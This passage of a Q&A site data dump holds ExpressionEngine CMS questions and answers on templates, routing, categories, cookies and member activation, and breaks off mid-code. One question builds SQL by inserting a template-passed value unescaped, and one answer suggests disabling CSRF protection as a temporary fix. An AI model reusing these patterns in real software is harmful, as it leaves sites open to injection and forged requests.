  <row Id="21891" PostTypeId="2" ParentId="21844" CreationDate="2014-05-13T05:34:35.397" Score="2" Body="&lt;p&gt;You will want to modify your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/word_censoring.html&quot; rel=&quot;nofollow&quot;&gt;Word Censoring preferences&lt;/a&gt; which will replace bad words with hash marks, e.g. ######.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-13T05:34:35.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21892" PostTypeId="2" ParentId="20139" CreationDate="2014-05-13T05:36:57.167" Score="0" Body="&lt;p&gt;DST is a nasty thing, I wish it simply didn't exist. You can always &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html#timezone&quot; rel=&quot;nofollow&quot;&gt;force the timezone&lt;/a&gt; on front end dates. For back-end dates, it depends on both the system and user's localization settings.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-13T05:36:57.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21893" PostTypeId="1" CreationDate="2014-05-13T06:07:47.473" Score="0" ViewCount="93" Body="&lt;p&gt;this is my  expression engine query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$query =  $this-&gt;EE-&gt;db-&gt;query(&quot;SELECT * FROM exp_categories WHERE parent_id=$parent_id order by cat_id ASC&quot;);&#xA;&#xA;&#xA;and $parent id = 4|7 (for category parent id passed from template by user)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now query should return result for both parent id's&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2014-05-13T12:04:14.513" Title="how to pass pipe data in expression engine query" Tags="|ee2|" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-14T10:30:04.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="21894" PostTypeId="2" ParentId="21599" CreationDate="2014-05-13T06:31:44.207" Score="0" Body="&lt;p&gt;This is a bug when the 'Cookie Consent Module' is installed on 2.8. Here are some temporary fixes for now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable CSRF protection by putting the following line in your config:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['disable_csrf_protection'] = 'y';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable the Cookie Consent Module.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Try the fix as explained on the Cookie Consent Module GitHub page (&lt;a href=&quot;https://github.com/EllisLab/Cookie-Consent/issues/2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/Cookie-Consent/issues/2&lt;/a&gt;). However, this will still set cookies.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="858" LastActivityDate="2014-05-13T06:31:44.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21895" PostTypeId="2" ParentId="21760" CreationDate="2014-05-13T08:20:16.030" Score="2" Body="&lt;p&gt;It turned out that a rogue index.html file with a redirect inside was the issue. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;Redirect&amp;lt;/title&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=index.php&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything hitting the root was being redirected so the ACTion ID's weren't able to process (which is pretty critical for Store payments to process). Removing this file resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-05-13T08:20:16.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21896" PostTypeId="2" ParentId="21875" CreationDate="2014-05-13T08:22:29.260" Score="0" Body="&lt;p&gt;The only way to get around that without all the manual labour is to write a custom extension to handle it. That way you can specify the states to add the extra dollar to and it will apply it automatically. You can even use our Adjustments handling if you wanted to and then you'd be able to itemise the extra cost if you wanted/needed to using our &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#adjustments_loop&quot; rel=&quot;nofollow&quot;&gt;{adjustments} tags&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-05-13T08:22:29.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21897" PostTypeId="2" ParentId="21879" CreationDate="2014-05-13T08:44:30.903" Score="2" Body="&lt;p&gt;you issue is that all your records have &lt;em&gt;class=&quot;active&quot;&lt;/em&gt;.&#xA;It is happens because  &lt;strong&gt;count&lt;/strong&gt; is going from &lt;em&gt;exp:channel:entries&lt;/em&gt; and for all playa records is the same - 1. You have already &lt;em&gt;var_prefix&lt;/em&gt; parametr for &lt;em&gt;playa:children&lt;/em&gt;, so you just need to add it into condition. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;ul class=&quot;pill tabs-content contained&quot;&amp;gt;&#xA;         {exp:playa:children field=&quot;3rd_order_under&quot; sort=&quot;asc&quot; var_prefix=&quot;thirdorder&quot;}&#xA;         &amp;lt;li {if '{thirdorder:count}' == '1'}class=&quot;active&quot;{/if} id=&quot;pillTab{thirdorder:url_title}Tab&quot;&amp;gt;&#xA;           &amp;lt;div class=&quot;row&quot;&amp;gt;                                     &#xA;             &amp;lt;div class=&quot;twelve columns&quot;&amp;gt; &#xA;               {thirdorder:summary_3rd_order}&amp;lt;br /&amp;gt;&#xA;&#xA;               {thirdorder:exp:playa:children field=&quot;4th_order_under_3rd_order&quot; sort=&quot;asc&quot; var_prefix=&quot;fourthorder&quot;}&#xA;                 {fourthorder:title}&#xA;               {/thirdorder:exp:playa:children}&#xA;&#xA;             &amp;lt;/div&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;        {/exp:playa:children}  &#xA;        &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-05-13T08:44:30.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21898" PostTypeId="2" ParentId="21893" CreationDate="2014-05-13T09:00:41.360" Score="5" Body="&lt;p&gt;Isn't this really an SQL or PHP question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'd need to split the pipe delimited data up (say by using explode() to create an array) and then loop through it outputting a fragment of SQL each time and build your query up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL syntax would be (not the full query);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; WHERE parent_id = 4 OR parent_id = 7 ORDER BY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE parent_id IN (4,7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="343" LastEditDate="2014-05-13T12:04:14.513" LastActivityDate="2014-05-13T12:04:14.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21899" PostTypeId="2" ParentId="21877" CreationDate="2014-05-13T09:20:24.217" Score="1" Body="&lt;p&gt;Yes do it by setting cookie and then checking for the presence/value of the cookie and use the result to decide which layout to show (perhaps by using a conditional to use a particular embedded template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As ever there are add-ons to help with getting and setting cookies, take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/cookie-plus&quot; rel=&quot;nofollow&quot;&gt;Cookies Plus&lt;/a&gt; as a starting point.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-13T09:20:24.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21900" PostTypeId="1" CreationDate="2014-05-13T09:49:37.573" Score="1" ViewCount="80" Body="&lt;p&gt;Im trying to archieve the following, but somehow im missing something wich i can't figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basiscly, this is my setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an entry relationship with a grid field, wich contains a file/image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the syntax im trying to use. So far im able to get the grid field ouput, but i can't figure out how to show any file output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my syntax:&#xA;showcase = relationship field&#xA;showcase afbeelding = grid field&#xA;cf_afbeelding = file field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{showcase}   &#xA;            &amp;lt;ul&amp;gt;&#xA;            {showcase:showcase_afbeelding}   &#xA;&#xA;                    {showcase_afbeelding:cf_afbeelding}&#xA;&#xA;                        &amp;lt;li&amp;gt;  &amp;lt;/li&amp;gt;                             &#xA;                    {/showcase_afbeelding:cf_afbeelding}&#xA;&#xA;            {/showcase:showcase_afbeelding}&#xA;        &amp;lt;/ul&amp;gt;&#xA;  {/showcase}&#xA;&#xA;{showcase_afbeelding:cf_afbeelding} //works&#xA;&#xA;{showcase_afbeelding:cf_afbeelding}&#xA;   {showcase_afbeelding:cf_afbeelding:path} //doesn't work.&#xA;{/showcase_afbeelding:cf_afbeelding}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2560" LastEditorUserId="166" LastEditDate="2014-05-13T10:30:04.877" LastActivityDate="2014-06-12T10:38:12.403" Title="Combining file, grid and relationships" Tags="|relationships|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21901" PostTypeId="1" AcceptedAnswerId="21974" CreationDate="2014-05-13T09:52:31.540" Score="1" ViewCount="909" Body="&lt;p&gt;I'm trying to create custom URL's with the route manager.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{route='products/overview' series='series' range='range' prod='{url_title}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my template named 'overview' I have three products that have been entered and they're linked to via the route path above.  The correct URL does get generated but only one entry is shown for each of the pages, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/products/series/range/my_product_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will show 'my_product_1' for each of the products even if the URL is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/products/series/range/my_product_2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/products/series/range/my_product_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached some screenshots of the issue to aid help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zeSZ9.png&quot; alt=&quot;route manager&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4cqOE.png&quot; alt=&quot;Template code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two screenshots above shoe the route manager and template with the route path&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two below are the web pages that are showing the correct URL's and the correct template  but the same entry for each page.  Just two examples but on the three entries I have set up one entry is shown on all pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVSv8.jpg&quot; alt=&quot;screen 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s1VmQ.jpg&quot; alt=&quot;screen 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product_range&quot; limit=&quot;1&quot;}&#xA;{embed=&quot;embeds/docHead&quot; my_page_title=&quot;{title} | Pico Technology&quot;}&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;!-- Static navbar --&amp;gt;&#xA;&amp;lt;header class=&quot;navbar navbar-default navbar-static-top head-wrap&quot;&amp;gt;&#xA;{embed=&quot;embeds/headNav&quot; myLocation=&quot;prod&quot;}&#xA;&amp;lt;!-- main body --&amp;gt;&#xA;&amp;lt;div class=&quot;wrapper body-wrap&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container main&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;/&quot; class=&quot;navbar-brand&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col 12 col-sm-12 col-lg-12&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;breadcrumb&quot;&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/products&quot;&amp;gt;Products&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/products/oscilloscopes&quot;&amp;gt;Oscilloscopes&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/products/oscilloscopes&quot;&amp;gt;PicoScope 2000 Series&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;active&quot;&amp;gt;{title}&amp;lt;/li&amp;gt; &#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;        &amp;lt;!-- ABOVE CODE IS GENERIC TO EVERY SUBPAGE --&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4 leftCol&quot;&amp;gt;&#xA;                {range_left}&#xA;                {left_copy}&#xA;                &amp;lt;img class=&quot;img-responsive&quot; src=&quot;{left_image}&quot; alt=&quot;{exp:assets:files}{alt_text}{/exp:assets:files}&quot;&amp;gt;&#xA;                {/range_left}&#xA;                {embed=&quot;option_panels/{price_option_panel}&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-12 col-sm-8 col-md-8 mainContent&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;nav nav-tabs&quot; id=&quot;myTab&quot;&amp;gt;&#xA;                    &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;Overview&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}-features&quot;&amp;gt;Features&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}-specifications&quot;&amp;gt;Specifications&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}-software&quot;&amp;gt;Software&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}-documents&quot;&amp;gt;Manuals&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}-accessories&quot;&amp;gt;Accessories&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;                    {overview}&#xA;                        &amp;lt;div class=&quot;prod-feat-mod&quot;&amp;gt;&#xA;    {if whatsinthebox != ''}&amp;lt;div class=&quot;well pull-right whatsinthebox&quot;&amp;gt;&#xA;                                {whatsinthebox}&#xA;                            &amp;lt;/div&amp;gt;{/if}&#xA;                            {prod_image}{if lightbox == 'y'}&amp;lt;a class=&quot;imgRight zoom fancybox&quot; href=&quot;{url}&quot;&amp;gt;&amp;lt;img class=&quot;img-polaroid img-responsive&quot; src=&quot;{url}&quot; alt=&quot;{alt_text}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;{if:else}&amp;lt;img class=&quot;img-polaroid img-responsive imgRight&quot; src=&quot;{url}&quot; alt=&quot;{alt_text}&quot; title=&quot;{title}&quot;&amp;gt;{/if}{/prod_image}&#xA;                            {prod_copy}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/overview}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- BELOW CODE TO JAVASCRIPT IS GENERIC TO EVERY SUBPAGE --&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;scrollup&quot;&amp;gt;Scroll&amp;lt;/a&amp;gt; &#xA;&amp;lt;!-- footer --&amp;gt;&#xA;&amp;lt;div class=&quot;wrapper foot-wrap&quot;&amp;gt;&#xA;    &amp;lt;footer&amp;gt;&#xA;&#xA;        {embed=&quot;embeds/footerPanels&quot;}&#xA;        {embed=&quot;embeds/footer&quot;}&#xA;&#xA;    &amp;lt;/footer&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- ABOVE FOOTER CODE IS GENERIC TO EVERY SUBPAGE --&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;//netdna.bootstrapcdn.com/bootstrap/3.0.0/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;  &#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;{path='javascript/{price_option_panel}'}&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;{path='javascript/xdr'}&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2704" LastEditorUserId="2704" LastEditDate="2014-05-14T15:54:04.750" LastActivityDate="2014-05-15T05:15:15.737" Title="Template route manager issue" Tags="|template-manager|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21902" PostTypeId="2" ParentId="10712" CreationDate="2014-05-13T09:58:59.710" Score="1" Body="&lt;p&gt;Turns out it was caused by Generate HTTP Page Headers being set as on in output and debugging.&#xA;This caused a real delay in the full page load and this caused the issues file manager.Turning it off and this sorted my problems&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-05-13T09:58:59.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21903" PostTypeId="2" ParentId="21900" CreationDate="2014-05-13T10:33:40.647" Score="1" Body="&lt;p&gt;What would happen if you used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{showcase}   &#xA;            &amp;lt;ul&amp;gt;&#xA;            {showcase:showcase_afbeelding}   &#xA;&#xA;                    {showcase_afbeelding:cf_afbeelding}&#xA;                        //{URL} is the tag to spit out the location&#xA;                        &amp;lt;li&amp;gt;{url}&amp;lt;/li&amp;gt;&#xA;&#xA;                        //Not sure if you need to wrap in these tags &#xA;                        &amp;lt;li&amp;gt;{showcase_afbeelding:cf_afbeelding:url}&amp;lt;/li&amp;gt;&#xA;                    {/showcase_afbeelding:cf_afbeelding}&#xA;&#xA;            {/showcase:showcase_afbeelding}&#xA;        &amp;lt;/ul&amp;gt;&#xA;  {/showcase}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-13T10:33:40.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21904" PostTypeId="2" ParentId="21864" CreationDate="2014-05-13T13:10:59.587" Score="0" Body="&lt;p&gt;Turns out there is a plugin from GWcode that detects if subcategories exist via url segments: &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-haschildren&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/gwcode-haschildren&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-05-13T13:10:59.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21905" PostTypeId="1" CreationDate="2014-05-13T13:34:18.010" Score="0" ViewCount="158" Body="&lt;p&gt;I am using EE v 2.8.1 and Transcribe 1.6 and I am getting a warning on one page as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Division by zero&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: transcribe/ext.transcribe.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 472&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me out here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2014-05-13T14:30:22.387" Title="Bug in transcribe" Tags="|multi-language|transcribe|" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-14T01:29:19.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="21906" PostTypeId="1" AcceptedAnswerId="21908" CreationDate="2014-05-13T13:41:13.027" Score="0" ViewCount="68" Body="&lt;p&gt;I need to build a double website.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both sites must use different domain names&lt;/li&gt;&#xA;&lt;li&gt;Both sites share exact same design &amp;amp; structure&lt;/li&gt;&#xA;&lt;li&gt;Most static contents are the same&lt;/li&gt;&#xA;&lt;li&gt;Most dynamic contents are different&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some dynamic contents can be SHARED across both sites&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Administrator of site A publishes an entry&lt;/li&gt;&#xA;&lt;li&gt;The new entry appears only on site A&lt;/li&gt;&#xA;&lt;li&gt;Administrator of site B is notified of the new entry&lt;/li&gt;&#xA;&lt;li&gt;Administrator of site B allows entry to appear on site B&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At first I thought that would be easy using multisite manager.&#xA;Now I’m digging in, I wonder : is that the best way to go ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;L.&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2014-05-13T14:29:06.693" Title="Two websites, same design &amp; structure, only some entries are shared" Tags="|multi-site-manager|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21907" PostTypeId="2" ParentId="21877" CreationDate="2014-05-13T13:51:57.950" Score="1" Body="&lt;p&gt;Cookie Plus is fine, but if you happen to already be using Stash, it can handle this kind of thing using &lt;code&gt;save=&quot;yes&quot; scope=&quot;user&quot;&lt;/code&gt; parameters (which essentially creates a cookie).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#scope--user&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#scope--user&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-05-13T13:51:57.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21908" PostTypeId="2" ParentId="21906" CreationDate="2014-05-13T14:29:06.693" Score="1" Body="&lt;p&gt;This answer needs to be 30 characters long but the simple answer is &quot;yes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-13T14:29:06.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21909" PostTypeId="2" ParentId="21905" CreationDate="2014-05-13T14:30:22.387" Score="2" Body="&lt;p&gt;Just emailed a fix over to you!&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-05-13T14:30:22.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21910" PostTypeId="1" CreationDate="2014-05-13T15:12:53.963" Score="2" ViewCount="165" Body="&lt;p&gt;I have a registration process which is split into a number of steps, at step 1 the user creates a free account (which requires activation by email to be moved from pending to the relevant group_id), at step 2 the user can choose to become a paid member, the module I'm using then moves the member to the relevant paid member group upon completion of payment. This all works just fine and is quite a normal process to follow (I think, Github uses a similar mechanism).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that I want to validate email addresses for free accounts but if a user continues and becomes a paid member 'before' they have activated their account and then attempts to activate it subsequently, they currently get the &quot;Invalid activation request&quot; error because they are no longer a pending member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me it seems the simplest solution to this problem would be to allow member activation to fail silently or somehow hijack that process and bypass the error for members that are no longer pending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched far and wide for an existing add on that does this with no luck and it seems that the 'member_register_validate_members' hook (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/index.html#member_register_validate_members&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/index.html#member_register_validate_members&lt;/a&gt;) fires 'after' validation and not before so I can't see that it will help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any bright ideas?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-05-13T15:27:25.527" LastActivityDate="2014-06-12T18:41:40.663" Title="Bypass &quot;Invalid activation request&quot; if member group has been assigned by other means" Tags="|members|groups|activation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21911" PostTypeId="1" CreationDate="2014-05-13T15:18:13.460" Score="2" ViewCount="27" Body="&lt;p&gt;Is it possible to deliver the channel info tag for two different channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the below does not work using a pipe separator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:info channel=&quot;news|contact&quot;} {channel_title} {/exp:channel:info}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3098" LastActivityDate="2014-06-12T17:41:47.350" Title="Channel Info Tag - Two different channels" Tags="|channel-entries|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21914" PostTypeId="2" ParentId="21911" CreationDate="2014-05-13T16:52:15.257" Score="1" Body="&lt;p&gt;No, it's not. There's no mention to multiples channels on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_info.html#parameters&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; and Boyink &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_info.html#9382&quot; rel=&quot;nofollow&quot;&gt;talks about&lt;/a&gt; this case too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly what you're trying to do, but I believe that the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/query/index.html&quot; rel=&quot;nofollow&quot;&gt;query module&lt;/a&gt; can help you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT channel_title AS the_name_you_want_for_your_variable&#xA;    FROM exp_channels&#xA;    WHERE channel_name IN ('news','contact');&quot;&#xA;}&#xA;    {the_name_you_want_for_your_variable}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-13T16:52:15.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21915" PostTypeId="2" ParentId="21910" CreationDate="2014-05-13T16:56:49.987" Score="2" Body="&lt;p&gt;Ok well I solved this in the end by writing a bespoke extension to simply bypass the error message which is usually shown for an invalid activation request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function activation_hijack ( $session_data )&#xA;{&#xA;&#xA;    if (ee()-&amp;gt;input-&amp;gt;get('ACT')) {&#xA;&#xA;        $act = ee()-&amp;gt;input-&amp;gt;get('ACT');&#xA;&#xA;        if ($act==8 AND ee()-&amp;gt;input-&amp;gt;get('id')) {&#xA;&#xA;            $id = ee()-&amp;gt;input-&amp;gt;get('id');&#xA;            // Is there even a Pending (group 4) account for this particular user?&#xA;            $query = ee()-&amp;gt;db-&amp;gt;select('member_id, group_id, email')&#xA;            -&amp;gt;where('group_id', 4)&#xA;            -&amp;gt;where('authcode', $id)&#xA;            -&amp;gt;get('members');&#xA;&#xA;            if ($query-&amp;gt;num_rows() == 0)&#xA;            {&#xA;                // Bypass activation and redirect, this user is no longer pending&#xA;                $path = 